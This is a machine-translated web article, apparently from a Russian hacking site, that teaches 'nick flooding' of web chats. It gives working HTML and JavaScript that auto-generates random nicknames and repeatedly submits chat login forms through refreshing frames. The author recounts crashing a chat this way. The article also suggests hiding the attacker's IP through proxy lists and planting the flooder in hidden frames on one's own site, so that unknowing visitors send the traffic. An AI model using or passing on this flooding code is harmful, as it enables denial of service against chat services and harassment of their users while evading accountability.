This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat or nick flooding part 1

Continuing >>>


Continuing the theme of FA, we decided to write another article, which now exactly corresponds to its title. Attention: use it exclusively to combat the "frost-bitten" admins, who from idleness or in order to show their capabilities are thrown out of the chat for any reason, also without it. Do not use this tool in chat rooms, in which place they alienate you to communicate normally, because you will not let anyone talk , because an impressive number of different "people" will enter the chat room and there will be so many of them that it will be impossible to express in the chat ... In other words, this is "Nick Flooding" or chat content with non-existing visitors.

Save the start page to disk.
To implement, you will need a chat with a login without registration and also a little knowledge of html (at least, what it is). We save the start page of the chat, this is where it says "Enter your nickname"

Code like this

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - the path where the data is sent
Enter your nickname: <input type = text name = Nick > - Nickname is entered here
<INPUT name = color type = hidden value = red> - paint
<INPUT type = submit value = "Start !!!" > - button

..................... </ html> </ body>

And so it looks in the browser: Enter your nickname

If you have a start page loaded as frames, i.e. You can already see the messages, below it says "Enter your nickname" (usually this is the lowest frame), you should right-click there (below) and also select "View as html" there you will also see that also in the main case it is possible that the code will become more complicated.

if you know how to work with chat from the disk also in this chat it is possible, then the code of the lower frame, after the first phrase, will begin to have the following:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - the path where the data is sent
<input type = hidden name = Nick value = Your nickname> - nickname (it can not be seen)
<INPUT name = color type = hidden value = red> - color
Enter the phrase <INPUT TYPE = TEXT name = say size = "24"> - the phrase input field
<INPUT type = submit value = "Say !!!" >

..................... </ html> </ body>

If this chat is located at http://www.domen.ru then in the line <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> we also prescribe this address: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> now we run this file we also go out of it in the chat, name = " chat_x " may be absent, while time allowed to add it yourself. Instead of chat_x. It can also be called by the other. If you manage to enter the chat from this file, go to the next item.

The first trick: generate a "Chat Visitors"

If we use one nickname for our purposes, then he will not stretch more than 2-3 phrases ... will be thrown out. So it is necessary that the nickname prkticheski always be different. The Java script will help us in this (you don’t need to know it, just substitute your numbers) Math.floor (Math.random () * 100000000)

An example is allowed to see by clicking on the button:


Explanation: The mathematical object Math: Math.random () generates a number from 0 up to 1, then this number is rounded with the help of Math.floor () and it must be multiplied by 10 for example, while the number from 0 up to 9, if multiplied by 100, then up to 99, if multiplied by 1000, then up to 999 also. those. the length of the resulting number is less than or equal to the number of zeros, including by which it was multiplied .... the pancake was already confused Smile happy )) In the example (see below), this number is 100000000 causing that we get a random number, this will be a nickname ...
In order for this number to fit into the form for a nickname, we put it in the autoload of the page, i.e. in the <body> tag later it will turn out: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> take care of the name of the form (see sample html-code above, it is highlighted in yellow) it is necessary in order for a random number to fit into the desired shape also in the desired field.

Another thing: We send "visitors" to the chat.

<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

This script as if "clicks" the "Submit" button and sends data from a form called chat_x, in the chat this button can be called "Enter chat" or "Say", it acts with a delay of 1000 ms, so that you can first see what was loaded (you can later put 100), but then the data is automatically sent, but for this it is necessary to register the submit function (send ) to the automatic loading of our page, i.e. The <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit () "> tag now loads a random number when the page is loaded, then it is written to the chat_x form in field nick. also data from the chat_x form sent to the server, it turns out that people with a nickname in the form of several numbers entered the chat.

An example of html-code unsophisticated chat flooder

<HTML> <HEAD> <TITLE> Chat Flooder </ TITLE>

<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x ">
<input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

The last ... personal flooding

To do this, eat three ways.

1. Create a file containing a pair of frame, in one file, which when loading creates a nickname also sends it to the chat, let's call it forma.htm, but in another frame any other file, in my sample it is yo.htm. And save it with the name frames.htm. The code for this document will be:

Content of frames.htm

<html> <head> <title> Chat Flooder </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> This page uses frames. </ p>
</ body> </ noframes> </ frameset>

I singled out the name of the send frame specifically, since the data will be sent to it, so that the forma.htm file cannot be unloaded after sending. Further in the code forma.htm we add the following: in the <FORM action = ..... tag = target = " send "> and in the source of the act line: <meta http-equiv = "Refresh" content = "1"> so that the file itself updated every second, and set Timer = 0. What happened: The file is also updated sent to the visitor's chat, it can be seen in the frame with the name SEND ie. instead of the yo.htm file, the chat appears, then forma.htm is updated, again it sends the newly minted brow to the chat, the newly made chat is also updated again, again the chat comes in ... so down to infinity :) The update frequency is set based on the connection speed.

Example content forma.htm file

<Html>
<HEAD> <TITLE> Chat Flooder </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 0 );
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x " target = " send ">
<input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<input name = password type = hidden value = "">
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

2 way. First we make 4 files that will differ only in the delay when sending also one frame file in which there will be for example 16 (!) Frames, in the first four the first file, in it Timer = setTimeout ("(document.chat_x.submit ())", 1000 ); In the other four frames, the second file is loaded, in which the delay is 10,000. In the third four, 30,000. Well, but in the fourth four, the fourth file is loaded with a delay of 40,000, i.e. every 10,000ms, 4 “people” will enter the chat and they will all be different, although they will be in the form of numbers, but this is garbage ... If you used the login form in the chat, they all will “enter” the chat, but if you send the message, then it is allowed to enter a text paragraph as a message, while each generated nickname will speak ... Experiment, try other options with frames ...

It remains only to hide your IP, for this you can use A4Proxy , dial a large list of servers ....

3 way. if you eat the site, then it is allowed to place these files on it, for example in a hidden frame, while also the IP will almost always be different ...

Valim chat :)

Chat rooms using the system of privates are so arranged that they are constantly “in touch” with the user's computer, i.e. they constantly generate a stream of messages for him, they do not monitor if he has disconnected in any way, also if the user community is doing quite a lot, then the chat can not withstand the “fall” either. So, just now we were in a chat that can withstand a maximum of 70 individuals, then it just stops working, even though the start page also loads ... It wasn’t difficult to put such a chat "manually", it was necessary to just make a file which generates nicknames, sends them to chat, a minute after the launch of this file, in the chat to the existing 23rd added about another 50 people :) ) he also fell down (I used a file from a variety of frames, in which there was also one bla bla file) And it should be noted that we were at the club but there is impressive speed and powerful computers :) . It may also work with a modem (like agreeing with someone to start right away as well) or try it yourself first, I don’t know ... Do not forget that chat logs are also logged by admins after that you may want to see what it was :) Now access from the IP address of the Internet club "GeForce" to this chat is closed :)

FAQ: If it doesn't work

FlooDer : Nothing works for me :)
Try first to just enter the chat from the disk, i.e. from the entry form saved on the screw, if everything worked out, it means an error in the "script-flooding" code :) if it didn’t work out then read on ...

FlooDer : I came from the disk, now I can’t send data :) what to do?
Check the correctness of the form name (name = XxXxX)

FlooDer : In the <FORM action = http: //www.***.ru/chat.cgi method = post> line common no name = "XxXxX" , what to do?
Insert yourself: (name = "chat_x" target = "send") target- so that the data is sent to the send frame, it turns out like this: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: When entering the chat, you need to enter a password, if every nickname is not registered, how to enter it into the code?
In the form for entering the password, it is necessary to add: value = "abrakadabra" then all the generated "users" will enter with this password

Continuing >>>

It would not be amiss for your friends to find out this information, share the article with them!

Expand / collapse Expand / Minimize Comments Window

Comments

Commenting, remember that the content and tone of your message can hurt the feelings of real people, show respect and tolerance towards your interlocutors even if you do not share their opinion, your behavior in conditions of freedom of expression and anonymity provided by the Internet changes not only virtual, but also the real world. All comments are hidden from the index, spam is controlled.
Now everyone can publish articles.
Try it first!
To write an article
Liked? Subscribe to RSS feeds,
to be the first to receive information
about all the important events of the country and the world.
You can also support shram.kiev.ua, click: